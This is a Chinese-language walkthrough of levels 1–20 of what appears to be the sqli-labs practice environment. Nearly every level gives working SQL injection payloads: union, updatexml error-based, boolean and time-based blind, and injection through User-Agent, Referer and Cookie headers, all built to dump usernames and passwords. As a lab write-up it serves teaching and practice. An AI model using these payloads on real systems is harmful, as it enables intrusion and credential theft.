第一关
判断是否存在sql注入
题目中提示Please input the ID as parameter with numeric value,我们输入?id=1
结果如下
判断字符型or数字型
加入单引号后闭合
可以根据结果指定是字符型且存在sql注入漏洞
而且该页面存在回显,可以使用联合注入
确认表格列数
?id=1'order by 3 --+
?id=1'order by 4 --+
写入4后报错,说明表格仅有三列
确认回显范围
?id=-1'union select 1,2,3--+
发现第二列和第三列显示在页面上,因此可以利用2,3处
获取数据库名
?id=-1'union select 1,database(),3--+
显示数据库名为security
获取表名
information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
获取字段名
通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
观察发现上方字段中有password和username,接下来取得该字段内容(密码与用户名使用~分隔开)
?id=-1' union select 1,2,group_concat(username ,"~", password) from users--+
第二关
与第一关一样先进行判断
发现id=1与id=2-1的输出一样,使用单引号进行闭合
证明为数字型
其余步骤则与第一关相似,代码如下
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),3
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,"~", password) from users
第三关
输入id=1'闭合后报错,推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号
其余代码参考第一关
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),3--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,"~~", password) from users--+
第四关
尝试单引号闭合,发现正常,再尝试双引号闭合,发现报错,证明该题是双引号字符型
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),3--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,"~~", password) from users--+
第五关
输入?id=1时页面与前四题不一样
?id=1' order by 4 --+ 即当值为4时报错,所以列数依旧为3
尝试使用联合注入发现失效,所以该题尝试使用报错注入---updatexml()函数+concat():拼接特殊符号和查询结果
?id=1' and updatexml(1,concat(1,(database())),1)--+
报错注入尝试成功
?id=1' and updatexml(1,concat(1,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,32)),1)--+
获得列名
获取用户名与密码
?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20concat(username,%27~~%27,password)%20from%20users%20limit%200,1)),1)%20--+
第六关
第六关与第五关相似,经过测试后id参数闭合需要双引号,所以将第五关的操作换成双引号重复一遍即可
第七关
第七关当在输入id=1,页面显示you are in... 当我们输入id=1'时显示报错,但是没有报错信息,这和我们之前的关卡不一样,之前都有报错信息。当我们输入id=1"时显示正常所以我们可以断定参数id是单引号字符串。因为单引号破坏了他原有语法结构。然后我输入id=1'--+时报错,这时候我们可以输入id=1')--+发现依然报错,再试试是不是双括号输入id=1'))--+,发现页面显示正常。
这时我们选择布尔盲注
?id=1'and length((select database()))>7--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度
发现依旧正常,我们加大数字
说明数据库名长度为8
id=1'and substr(database(),1,1)='a'))--+ //查看数据库第一个字母是不是a,若不是则报错
由于一个一个试过于重复且浪费时间,我们使用burpsuite来进行爆破
在此处加入payload
payload设置如下
1中加入数字0-9,2中加入a-z和A-Z,模式选择集束炸弹
攻击后发现响应包长度不一样,按照大小排序,我们就能找到库名
第八关
第八关和第五关一样,只不过第八关没有报错信息,但是有you are in..进行参照。id参数是一个单引号字符串。
第九关
第九关会发现我们不管输入什么页面显示的东西都是一样的,这个时候布尔盲注就不适合我们用,布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以使用时间盲注。时间盲注和布尔盲注两种没有大差别,只不过时间盲注多了if函数和sleep()函数。if(a,sleep(5),1)如果a结果是真的,那么执行sleep(5)页面延迟5秒,如果a的结果是假,执行1,页面不延迟,后面就通过是否延时进行判断数据库名
第十关
与第九关相同,只不过由单引号闭合改为双引号闭合
第十一关
可以发现页面发生变化了,显示是账户登录页面。那么注入点就在输入框里面
我们尝试输入1',发现报错,可以推断该sql语句username='参数' and password='参数'
使用--+注释,发现没有用,我们改用#,发现注释成功,随后使用第一关的联合注入即可
1' union select 1,2#
第十二关
当我们输入1'和1时候页面没有反应,尝试使用",发现成功,且有括号
1" ) or 1=1
1" ) union select 1,2#
第十三关
第十三关与第十二关相似,双引号换成单引号即可
第十四关
第十四关与第十一关相似,单引号换成双引号即可
第十五关
第十五关与第十一关一样,只不过没有错误回显,所以可以尝试布尔盲注
1' or 1=1#
第十六关
第十六关和十二关一样,需要布尔盲注
1") or 1=1#
第十七关
第十七关和前面的关有很大不一样,根据页面展示是一个密码重置页面,也就是说我们已经登录系统了,然后查看我们源码,是根据我们提供的账户名去数据库查看用户名和密码,如果账户名正确那么将密码改成你输入的密码。再执行这条sql语句之前会对输入的账户名进行检查,对输入的特殊字符转义。所以我们能够利用的只有更新密码的sql语句,所以第十七关我们使用新的报错注入
123' and (updatexml(1,concat(0x5c,version(),0x5c),1))# 爆版本
123' and (updatexml(1,concat(0x5c,database(),0x5c),1))# 爆数据库
123' and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))# 爆表名
123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))#
爆字段名
123' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin1') b),0x5c),1))#
爆密码该格式针对mysql数据库。
爆其他表就可以,下面是爆emails表
123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='emails'),0x5c),1))#
1' and (updatexml (1,concat(0x5c,(select group_concat(id,email_id) from emails),0x5c),1))# 爆字段内容。
第十八关
这关我们看到有一个ip,我们尝试用burpsuite来抓包进行注入
看一下源码,发现对于输入的账户名和密码都有进行检查,但是往下看会发现一个插入的sql语句,当我们输入争取的账户名和密码我们的User-Agent字段内容就会出现在页面上
当我们在User-Agent后面加上单引号出现如下报错,可见插入语句是将ua字段内容和ip地址以及账户名作为字符串进行插入且外面有括号。还要注意该插入语句需要三个参数,所以我们在构造时候也需要有三个参数。因为#号后面都被注释了。
1',2,updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1))#
第十九关
十九关当我们输入正确的账户密码我们的referer字段内容会显示在页面上。该插入的sql语句有两个参数一个是referfer,还有ip地址。
1',updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1))#
第二十关
第二十关当我们输入正确页面时候cookie字段显示在页面上,进行抓包。进行注入
'and updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1)#